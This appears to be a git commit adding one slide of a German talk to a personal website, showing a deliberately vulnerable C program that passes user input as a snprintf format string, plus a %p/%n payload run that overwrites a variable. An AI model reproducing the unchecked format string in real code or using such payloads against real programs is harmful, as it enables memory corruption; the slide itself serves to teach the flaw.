From 23f0e1561767dd8a396188e317bae5920d171ea8 Mon Sep 17 00:00:00 2001 From: erdgeist Date: Sun, 16 Aug 2015 16:38:25 +0200 Subject: Initial import of my nikola website --- stories/poetry/MeinVortrag/16.html | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 stories/poetry/MeinVortrag/16.html (limited to 'stories/poetry/MeinVortrag/16.html') diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html new file mode 100644 index 0000000..0644083 --- /dev/null +++ b/stories/poetry/MeinVortrag/16.html @@ -0,0 +1,25 @@ +

+<-->
+int main( int argc, char **argv ) {
+    int  test = 0x23232323;
+    char buffer[ 256 ];
+
+    printf( "test auf: %p\n", &test );   
+    printf( "test enthaelt: %x\n\n", test);
+
+    snprintf( buffer, sizeof buffer, argv[1] );
+
+    printf( "%s\n", buffer);
+    printf( "test enthaelt: %x\n\n", test);
+
+    return 0;
+}
+
+# ./vuln "Àö¿¿%p %p %p %p %p %p%n  %p %p"
+test auf: 0xbfbff6c0
+test enthaelt: 0x2323232323
+
+Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
+0x68acf04 0x2805a3a8  0x62317830 0x64356666
+test enthaelt: 0x42
+

-- cgit v1.2.3